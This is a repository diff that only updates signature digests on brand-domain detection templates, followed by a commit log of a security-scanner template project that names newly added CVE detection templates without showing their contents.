+# digest: 4b0a004830460221008e6c48e033f25137b15054a15dd2803dffcb77db30864f976cfd9e155554309a02210087e803be347aa2120fe8f83c7cc79c871a3517bd69854e5534c2fa0e91338c50:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"aliexpress.com")'
-# digest: 4b0a0048304602210092e3edbb5c313e1332928847208e7cc1c6965e64b17fddf85d7a74e943f26872022100a2f93b53e645af7fa5ac54a31498a207c1c2d349bd94a7ca8f92fc9e6b607d20:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a75c7de4206bb69b43d01c566047e13519a999eb4c3051f975f9aba18fe1ac75022100a200c1d44c433a9aca6dd871d208ba429dce5f121f00cc14eebb0b5447d71ae8:922c64590222798bb761d5b6d8e72950
@@ -51,4 +51,4 @@ http:
          - '!contains(host,"amazon.ae")'
          - '!contains(host,"amazon.com.tr")'
        condition: and
-# digest: 4a0a0047304502201e8524fbbe467b971f263e4a9b79b8a99bc0c15a4869fd88997cb527a7f55d33022100a0b17128282ae0e26b2164de2e861ef1f70b6ba4493d16d853aeb8348f6e45f2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100978ee960a2b06ceb4335113123699e39adc7f1b6b4bb011bcb76f557830baf21022005e93e8f71d8aac84a11864711c9d925137aedd3292c6d890ac0e73567452945:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"amazon.com")'
-# digest: 490a00463044022013afc59a445079078bc90295b81162e1bfd856271f1085c03b609fca2e3963d0022015f6af3a9d66ac4cbaf222f03cb6e4ec8862e43994233cf316180f7fb031facb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207601732ee75c400219ec6b8a732a25bab98d01dcfcc3509e3da7714f3daf9429022100cb9d634397535f2d8b7aa2872e056281c6ca1baa7eed4060e2e861b05ad1c5d3:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"americanexpress.com")'
-# digest: 490a004630440220222a9f0db498d85161806179c6e5c101caef43a7153e9092aeb8a5f26e9d37d60220380c3ecd61e53af4ac3d234f95617389ee288cd24aa528e0b52127b86a0565d3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a92e4a4111ad8179298a17ced1fd52810b0f9f99f02b38e553fae4499ca6e88302200906d55f02f92a833b5b761a4ed09f4255340172d8429b329d012b50efbd0163:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"anydesk.com")'
-# digest: 490a00463044022073d7302fa57e5d5f906ebae3008530c1eb5dfb0efa617e3dfb49373ace54d4d6022003c312dbc55de9268f53603216670b201a78401422efa1e47363d6c07dc5a629:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f7e2fa8ce8f549659fb0c809e2c593fe978b37cd71952188084ad9598967fc1602200af8a99e6dface2fbbc1c17693c99d75f3704c78e0561db4121c7d8c05b709a1:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"avast.com")'
-# digest: 4b0a00483046022100b944c13433ba8afe1fca0239b59b974eddc101431e626fbbe253cd267c6fdcb0022100b03f05cbda320e425702dd053460119c49a77f9eb617b3b0052d422647f63f6c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022070ea51f294c9078205eeaae5b4d87a963cdb437cdf8851ff02cbeac2d0cba5c7022100c03a3a3a4f22b15ca700939742a8dee56dbf16f5dac1e741b0c6de0b4d74fba7:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"avg.com")'
-# digest: 480a0045304302200ce441e5028ceb9e56320cbf0a784785a5fc0ce1206cbd3f535279a1d35d1bb7021f28a3f0aff231e4535eb0bf9ff4141a65e1735fc806c0d20a2a5cd9898ac1e0:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202ebcacdcf9bdcd083fdc6dece1831cad7df9285bc05c803691d6d27c0b166e310220505a802b3ffaa2a0d5e865167107fa9297fcef4943b7fd0d6353d9cf057268ae:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"bankofamerica.com")'
-# digest: 4a0a00473045022100d9800fc3a385e3918bc4feb4f5dcae3cc81e248685dd4be8270fdc8b31dfbff6022043aba5c353ffe1e32b2d5dead3602bd39de9464feecb8741a58d64bc49023d68:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009bbd468a0095fafda4c5140c1f58bbe98dd34a448cba0b5eb1f40d76f94bb6ed022028f1aee26330060a57bae69bb534dd2ebcdcb1f67c3935a45b8dd71dbd81ebbe:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        dsl:
          - '!contains(host,"battle.net")'
          - '!contains(host,"blizzard.com")'
-# digest: 4b0a00483046022100df6c6bcb913e77e16c2b4a252e5335a6a4c65258315779807983ab2d39f560cc022100fef2f116baf23c34cdb10a91a6401e07c3dcb025dae4d4a74844c38d396cd2fe:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f09f24bc27ea359015baaf8afe55d6cce697b62127f241fc30ebf2511413c2800221009b0ed92467c9286a16c2c9656c61b2bdadd1799711f02e8acc48880d88c95ae2:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"bestbuy.com")'
-# digest: 4a0a0047304502202bde7036f867af76d17db6b218ec858710effbbe2e50a5b13d83a61477e4c487022100af68149182450a486497f5521406887a4f83968be4d9c926d8933429c5a5abb8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210088d445c0dd5cef5507c82c2df7379aac3f373c10c231e4e0d807eed853a16cb402207dcff40634cb7233661f1a83cb443edd44e3aaa43c9fe390244444688b45eba1:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        dsl:
          - '!contains(host,"bitdefender.com")'
          - '!contains(host,"bitdefender.co.uk")'
-# digest: 4a0a00473045022100dec5bbfe50df983bdff543e5d8c3287f44bf4fd0d62e78c1c3da7e024653c78d0220256163ec9779e9649d9687c90830de40df227878aa7c97f700cfd475f3aedd32:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220641a9e6033c87085405bb6a27a395963205f2949179e857d35888c7297c6123d022100a5e8eed25d9af81d19c53a179c99df939b3655e1a7ba384fb49556afe527f458:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"bitwarden.com")'
-# digest: 490a00463044022040b4edc28f724b4f7526eb19fb7d1826b4711890dcdc084e7e7cc0490dbc6cb40220260aac9ff79ac98cb99bb860908822ab114c29937433ee96528709aa21ef27bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ba595a773527d0d5e5ebaf3700af62d6fe59fe99514afe0ecaf46d0d1be4ded40220077e67d48d0816269fe868aaf6bbc5cb9fe2201dd2412acb0d36d18940fd3acf:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"blender.org")'
-# digest: 4a0a0047304502204ed1da09e71191b5f123ed75c671c2834fb74d33b53dcce0183a3b57fc8755f4022100f583b21b36251e6273c6011f1c7b967e5e3c0d2c6f16ce3c803104663597f0bf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036d108d6bc29e83867b9496d18e1412bef62f8b4797c946c8aabdef2a2e41df2022100a77780e47bbff4ee6d35209519ab65ce8e6aba6cf2ef72e2d40e25c1b2765c59:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"booking.com")'
-# digest: 4a0a00473045022100c9ab9590306298eb555ffe7642efedc36dd82fe9cbbc12ed35453ebd9508b64d022063bdf44fe25ec4d796ed0e554b2897e57b0da3b18181c9d8f03c8b29157fad8a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f08251d2d789eb47713ef1dce5c2678d18b33bba7fcecd472e2e464ae19bebf902204158c97071bd21d967fd06ad2c3cf6346f07bce87d940df5c561187f69e6b60b:922c64590222798bb761d5b6d8e72950
Author	SHA1	Message	Date
ghost	0f569c3724	chore: generate new addition list 🤖	2025-08-08 07:42:35 +00:00
ghost	8bb3b0f48c	chore: sign templates 🤖	2025-08-08 07:42:14 +00:00
ghost	29668a08bd	chore: generate templates checksum 🤖	2025-08-08 07:42:12 +00:00
Prince Chaddha	af731d9873	Merge pull request #12848 from projectdiscovery/fix-validation-run Fix Validation Run	2025-08-08 00:41:49 -07:00
Dhiyaneshwaran	39a9042e6f	Update swagger.json	2025-08-08 12:19:08 +05:30
Dhiyaneshwaran	af41f16f82	Rename swagger.yaml to swagger.yml	2025-08-08 12:18:29 +05:30
ghost	0d83173b78	chore: generate new addition list 🤖	2025-08-08 05:49:49 +00:00
ghost	3fcd1e7669	chore: generate CVEs metadata 🤖	2025-08-08 05:49:47 +00:00
ghost	4abff79fe5	chore: generate templates checksum 🤖	2025-08-08 05:49:45 +00:00
ghost	521cb53fa3	chore: sign templates 🤖	2025-08-08 05:49:41 +00:00
Dhiyaneshwaran	75211efc5c	Merge pull request #12765 from darses/patch-39 Add CVE-2025-8286 - Güralp Systems FMUS	2025-08-07 22:49:17 -07:00
ghost	24466b1617	chore: generate new addition list 🤖	2025-08-08 05:48:01 +00:00
ghost	c476272731	chore: sign templates 🤖	2025-08-08 05:47:57 +00:00
Dhiyaneshwaran	46d0e84da0	Create titiler-ssrf.yaml (#12743 )	2025-08-07 22:47:30 -07:00
Dhiyaneshwaran	576a9e80c8	fix-template	2025-08-08 11:13:09 +05:30
ghost	6af99e8e6c	chore: generate templates checksum 🤖	2025-08-06 05:53:08 +00:00
ghost	9091c038d6	chore: generate new addition list 🤖	2025-08-06 05:49:38 +00:00
ghost	926628b68a	chore: sign templates 🤖	2025-08-06 05:49:33 +00:00
ghost	6314054c04	chore: generate templates checksum 🤖	2025-08-06 05:49:27 +00:00
Dhiyaneshwaran	d58c2a333c	Merge pull request #12456 from righettod/opensign-add Add detection of OPENSIGN login panel instances.	2025-08-06 11:19:06 +05:30
ghost	a4868ed519	chore: generate new addition list 🤖	2025-08-06 05:45:39 +00:00
ghost	ccbf15ffd7	chore: sign templates 🤖	2025-08-06 05:45:34 +00:00
ghost	1e3a403675	chore: generate templates checksum 🤖	2025-08-06 05:45:31 +00:00
ghost	f8623366ac	chore: generate new addition list 🤖	2025-08-06 05:45:24 +00:00
Dhiyaneshwaran	8cdca5fe1f	Merge pull request #12756 from darses/patch-38 Create suse-manager-panel.yaml	2025-08-06 11:15:09 +05:30
Dhiyaneshwaran	e8a171b47e	Merge pull request #12739 from darses/patch-36 Create meddream-dicom-viewer-panel.yaml	2025-08-06 11:14:50 +05:30
ghost	43948c0cd5	chore: generate new addition list 🤖	2025-08-06 05:23:17 +00:00
ghost	727b1b9fa5	chore: generate templates checksum 🤖	2025-08-06 05:23:10 +00:00
Prince ChaddhaandRitik Chaddha	90b568ac31	Swagger UI XSS - CVE-2025-8191 (#12803 ) * added CVE-2025-8191 * updated swagger url * updated urls to payloads * Update CVE-2025-8191.yaml --------- Co-authored-by: Ritik Chaddha <[email protected]>	2025-08-05 22:22:45 -07:00
pussycat0x	d27ea11014	Update CVE-2025-8286.yaml	2025-08-06 01:40:37 +05:30
ghost	92c761d175	chore: sign templates 🤖	2025-08-05 20:08:05 +00:00
ghost	fbb6c18a41	chore: generate templates checksum 🤖	2025-08-05 20:08:02 +00:00
Rishi Dhiyaneshwaran PDTeamX Sandeep Singh	284de6413f	txt-service-detect updates (#12762 ) * txt-service-detect updates * fix-tag * revert path change --------- Co-authored-by: Dhiyaneshwaran <[email protected]> Co-authored-by: PDTeamX <[email protected]> Co-authored-by: Sandeep Singh <[email protected]>	2025-08-05 13:07:37 -07:00
ghost	1645b201f6	chore: generate new addition list 🤖	2025-08-05 19:56:32 +00:00
ghost	0ead39ebdf	chore: sign templates 🤖	2025-08-05 19:56:25 +00:00
ghost	d0494ecbaa	chore: generate CVEs metadata 🤖	2025-08-05 19:56:24 +00:00
Sandeep SinghandDhiyaneshwaran	8f62b35b7a	Added template for CVE-2025-48954 (#12800 ) * Added template for CVE-2025-48954 * improved matcher and removed comments * comment update * added-remediation * Update CVE-2025-48954.yaml * removed extra request --------- Co-authored-by: Dhiyaneshwaran <[email protected]>	2025-08-05 12:56:00 -07:00
ghost	1d6cc4558f	chore: generate new addition list 🤖	2025-08-05 19:52:27 +00:00
ghost	61a854d913	chore: generate templates checksum 🤖	2025-08-05 19:52:21 +00:00
ghost	3f434c8beb	chore: sign templates 🤖	2025-08-05 19:52:19 +00:00
ghost	a75aef55a7	chore: generate CVEs metadata 🤖	2025-08-05 19:52:14 +00:00
pussycat0x	8c20af8a06	Merge pull request #12769 from projectdiscovery/CVE-2025-5394 Create CVE-2025-5394.yaml (Unauthenticated Arbitrary Plugin Upload in Alone Theme)	2025-08-06 01:21:56 +05:30
ghost	10d975c3f6	chore: generate new addition list 🤖	2025-08-05 19:50:20 +00:00
ghost	e4532b8c2e	chore: generate templates checksum 🤖	2025-08-05 19:50:18 +00:00
ghost	bb94d56fc6	chore: generate CVEs metadata 🤖	2025-08-05 19:50:15 +00:00
ghost	bb523ceef1	chore: sign templates 🤖	2025-08-05 19:50:14 +00:00
pussycat0x	38d2bbc7b1	Merge pull request #12771 from projectdiscovery/CVE-2025-53558 Create CVE-2025-53558.yaml (ZTE ZXHN-F660T/F660A - Default Credentials)	2025-08-06 01:19:51 +05:30
ghost	04a60cfd36	chore: generate new addition list 🤖	2025-08-05 17:20:31 +00:00
ghost	81f4c90aa7	chore: sign templates 🤖	2025-08-05 17:20:28 +00:00
ghost	73000967e2	chore: generate CVEs metadata 🤖	2025-08-05 17:20:15 +00:00
pussycat0x	7a38f0fc7d	Merge pull request #12774 from nukunga/CVE-2025-54782 Added CVE-2025-54782 vulnerability template for NestJS RCE	2025-08-05 22:49:59 +05:30
ghost	bf48cc9deb	chore: generate new addition list 🤖	2025-08-05 13:18:39 +00:00
ghost	c4fc4521a2	chore: sign templates 🤖	2025-08-05 13:18:28 +00:00
Dhiyaneshwaran	fee91ebce3	Merge pull request #12785 from projectdiscovery/pussycat0x-patch-12 Create zipline-installer.yaml	2025-08-05 18:48:03 +05:30
ghost	b3d6559389	chore: generate new addition list 🤖	2025-08-05 06:12:13 +00:00
ghost	586c1c8618	chore: sign templates 🤖	2025-08-05 06:12:08 +00:00
ghost	4e34e9e0ad	chore: generate templates checksum 🤖	2025-08-05 06:12:05 +00:00
ghost	96261267f3	chore: generate CVEs metadata 🤖	2025-08-05 06:11:59 +00:00
Dhiyaneshwaran	093c1b6cb7	Merge pull request #12579 from johnk3r/main CVE-2025-25257 (Critical, CVSS: 9.8) - FortiWeb Vulnerability	2025-08-05 11:41:43 +05:30
pussycat0x	9446902545	minor - chnages	2025-08-05 11:32:30 +05:30
ghost	6418fa236b	chore: sign templates 🤖	2025-08-04 23:30:29 +00:00
ghost	b3de687f69	chore: generate templates checksum 🤖	2025-08-04 23:30:26 +00:00
Prince Chaddha	5a264d6e85	Merge pull request #12786 from projectdiscovery/CVE-2024-23897-FN CVE-2024-23897 (Jenkins < 2.441 - Arbitrary File Read) - False Negative	2025-08-04 16:30:00 -07:00
Ritik Chaddha	77f664c4f0	fix template	2025-08-05 04:49:09 +05:30
Prince Chaddha	36c8011c37	fix-CVE-2024-23897	2025-08-04 16:10:18 -07:00
Dhiyaneshwaran	ff9c4a8903	Update suse-manager-panel.yaml	2025-08-05 01:44:55 +05:30
pussycat0x	c6168548ad	lint -fix	2025-08-04 23:42:09 +05:30
pussycat0x	810e4b024a	Create zipline-installer.yaml	2025-08-04 23:20:23 +05:30
ghost	3aa0a222d7	chore: generate new addition list 🤖	2025-08-04 06:47:28 +00:00
ghost	9e8a440d4d	chore: sign templates 🤖	2025-08-04 06:47:19 +00:00
ghost	cfe4e54452	chore: generate templates checksum 🤖	2025-08-04 06:47:12 +00:00
Ritik Chaddha	e5a5bcdd43	Merge pull request #12761 from oleveloper/tomcat Create file-disable-directory-listing.yaml	2025-08-04 12:16:55 +05:30
ghost	231d9a84df	chore: sign templates 🤖	2025-08-04 06:41:53 +00:00
ghost	6b8d3f148f	chore: generate templates checksum 🤖	2025-08-04 06:41:44 +00:00
Ritik Chaddha	7917a25d31	Merge pull request #12740 from darses/patch-37 Update tableau-server-detect	2025-08-04 12:11:25 +05:30
ghost	d5c569e1a9	chore: sign templates 🤖	2025-08-04 06:40:03 +00:00
ghost	a8197b1e67	chore: generate templates checksum 🤖	2025-08-04 06:39:57 +00:00
Ritik Chaddha	015f0bb702	Merge pull request #12716 from thezakman/robots-fix Enhanced robots.txt template: added Sitemap matcher, replaced DSL wit…	2025-08-04 12:09:36 +05:30
Ritik Chaddha	212dad6a4f	added and condition	2025-08-04 12:05:42 +05:30
ghost	54fb26bacd	chore: generate templates checksum 🤖	2025-08-04 06:26:05 +00:00
ghost	928b40017a	chore: sign templates 🤖	2025-08-04 06:25:57 +00:00
Ritik Chaddha	a50b13a687	Merge pull request #12773 from darses/patch-40 Update opennebula-panel	2025-08-04 11:55:32 +05:30
pussycat0x	e8e5d5f75b	template rename and minor changes	2025-08-03 23:05:02 +05:30
Dhiyaneshwaran	f6951786d3	added additional matcher	2025-08-03 22:19:25 +05:30
SeongHyeonJeon[nukunga]	f203fdeff5	chore: fix trailing newline in CVE-2025-54782.yaml	2025-08-03 21:30:48 +09:00
SeongHyeonJeon[nukunga]	bd5b731547	fix: update matchers and remove redundant conditions in CVE-2025-54782.yaml	2025-08-03 21:14:34 +09:00
SeongHyeonJeon[nukunga]	07fd1a24d8	chore: remove trailing space in HTTP method configuration in CVE-2025-54782.yaml	2025-08-03 20:37:28 +09:00
SeongHyeonJeon[nukunga]	988541237d	fix: update HTTP method configuration and matchers in CVE-2025-54782.yaml	2025-08-03 19:04:19 +09:00
SeongHyeonJeon[nukunga]	a0b450d929	chore: update comment for interactsh_protocol matcher in CVE-2025-54782.yaml	2025-08-03 18:53:17 +09:00
SeongHyeonJeon[nukunga]	232e60fafd	feat: add CVE-2025-54782 vulnerability template for NestJS RCE	2025-08-03 18:47:37 +09:00
Chris	f82eb2dfea	Update opennebula-panel	2025-08-03 09:49:16 +02:00
Dhiyaneshwaran	fb23d902ac	Create CVE-2025-53558.yaml	2025-08-03 07:43:03 +05:30
Dhiyaneshwaran	39e1010924	Update CVE-2025-5394.yaml	2025-08-03 06:15:12 +05:30
Dhiyaneshwaran	4a7f46ef17	added comments	2025-08-03 06:12:22 +05:30
Dhiyaneshwaran	ac9d648334	Create CVE-2025-5394.yaml	2025-08-03 05:42:36 +05:30
pussycat0x	97b3b4b90f	minor -changes	2025-08-02 23:12:10 +05:30
ghost	e63b18e5f7	chore: generate new addition list 🤖	2025-08-01 18:04:32 +00:00
ghost	7f7c0d3ff1	chore: sign templates 🤖	2025-08-01 18:04:29 +00:00
ghost	c8f9f2163e	chore: generate templates checksum 🤖	2025-08-01 18:04:21 +00:00
Prince Chaddha	bc9deb6b69	Merge pull request #12706 from rxerium/missing-osint-uenumeration Fixes to OSINT Templates	2025-08-01 13:04:03 -05:00
Prince Chaddha	878d9b1606	Merge branch 'main' into missing-osint-uenumeration	2025-08-01 12:57:44 -05:00
Prince Chaddha	b154e0f42d	Updated info CVE-2025-8286	2025-08-01 10:50:23 -07:00
ghost	6773534c51	chore: generate new addition list 🤖	2025-08-01 14:41:37 +00:00
ghost	00182ba142	chore: sign templates 🤖	2025-08-01 14:41:33 +00:00
ghost	966397da55	chore: generate templates checksum 🤖	2025-08-01 14:41:29 +00:00
ghost	577ceddc42	chore: generate CVEs metadata 🤖	2025-08-01 14:41:25 +00:00
Dhiyaneshwaran	fd10e97d04	Merge pull request #12634 from projectdiscovery/pussycat0x-patch-17 Create CVE-2025-4334.yaml	2025-08-01 20:11:04 +05:30
Dhiyaneshwaran	99c523d520	fix-description	2025-08-01 20:09:16 +05:30
oleveloper	456ab289f1	Create file-disable-directory-listing.yaml This PR adds a template to detect directory listing enabled on Apache Tomcat servers. It works by inspecting the HTTP response body for directory index patterns such as "Directory Listing For" and "<a href=", and confirms the content type is text/html. The Accept-Language: en header ensures consistent response parsing.	2025-07-31 20:36:01 +09:00
pussycat0x	9956728a53	template struct - fix	2025-07-31 16:11:05 +05:30
Chris	1f0b8efc24	Create suse-manager-panel.yaml	2025-07-30 20:50:12 +02:00
Prince Chaddha	029884e796	Improve meddream-dicom-viewer-panel template - Added classification section with CVSS metrics and CWE-200 - Standardized description format - Added verified metadata and max-request - Updated search queries format - Added ZoomEye query - Reordered tags for consistency	2025-07-28 15:14:16 -05:00
Prince Chaddha	0169ded4f4	Update tableau-server-detect template - Added salesforce tag since Tableau is owned by Salesforce - Added ZoomEye query for better search coverage	2025-07-28 15:12:13 -05:00
Chris	c21fd1cf9e	Update tableau-server-detect	2025-07-28 20:30:18 +02:00
Chris	81c49c1d2b	Update tableau-server-detect - Vendor salesforce - Add Shodan/FOFA queries	2025-07-28 20:26:25 +02:00
Chris	138549e460	Add reference to vendor product page	2025-07-28 20:14:18 +02:00
Chris	2db94a0854	Create meddream-dicom-viewer-panel.yaml	2025-07-28 20:11:44 +02:00
Dhiyaneshwaran	9b3c206fd0	update with content_type	2025-07-27 14:17:56 +05:30
Pedro Araujo	747ce4499a	Merge branch 'main' into robots-fix	2025-07-26 01:48:15 -03:00
Pedro Araujo	724a71f61e	Enhanced robots.txt template: added Sitemap matcher, replaced DSL with status check Description of changes: - Improved keyword coverage in the robots.txt matcher by including 'Sitemap:' directive to catch more complete files. - Removed the DSL matcher (len(body)>=140) to simplify and reduce false negatives. - Replaced the DSL matcher with a status matcher (status: 200) for clarity and reliability. - Reordered and expanded the word matcher list for better detection accuracy.	2025-07-25 12:27:12 -03:00
Rishi	e0ab71aac1	remove invalided templates	2025-07-25 06:25:53 +01:00
rxerium	4d1fc9258b	fixes	2025-07-24 19:32:42 +01:00
Prince Chaddha	321636fbc5	OSINT user enumeration templates	2025-07-24 09:13:19 +04:00
Prince Chaddha	c753003573	Update CVE-2025-4334 template with proper formatting and metadata - Fixed grammar and spacing in description - Added classification with CVSS metrics and CVE/CWE IDs - Added impact and remediation sections - Updated metadata with vendor, product, and Shodan query - Enhanced tags with proper WordPress plugin tags - Fixed variable quoting for consistency	2025-07-18 14:24:54 +04:00
pussycat0x	23b7a34f73	Create CVE-2025-4334.yaml	2025-07-17 16:45:06 +05:30
Prince Chaddha	82f786af1f	updated impact	2025-07-12 15:52:47 +05:30
Prince Chaddha	89a5e67893	updated shodan query	2025-07-12 15:50:56 +05:30
Prince Chaddha	80bfaa5ae8	Update CVE-2025-25257.yaml	2025-07-12 15:49:13 +05:30
johnk3r	c598855186	Update CVE-2025-25257.yaml	2025-07-11 12:19:24 -03:00
johnk3r	f705fc10ae	Update CVE-2025-25257.yaml	2025-07-11 10:11:25 -03:00
johnk3r	b640ac1ce9	Update CVE-2025-25257.yaml	2025-07-11 10:07:28 -03:00
johnk3r	155cfb1ae7	Update CVE-2025-25257.yaml	2025-07-11 10:06:07 -03:00
johnk3r	981bdeb7a7	Create CVE-2025-25257.yaml	2025-07-11 10:05:24 -03:00
Dominique RIGHETTO	6caa40221f	Enhance description based on bot requests	2025-06-23 10:53:16 +02:00
Dominique RIGHETTO	77ee9f2d80	Add files via upload	2025-06-23 10:46:50 +02:00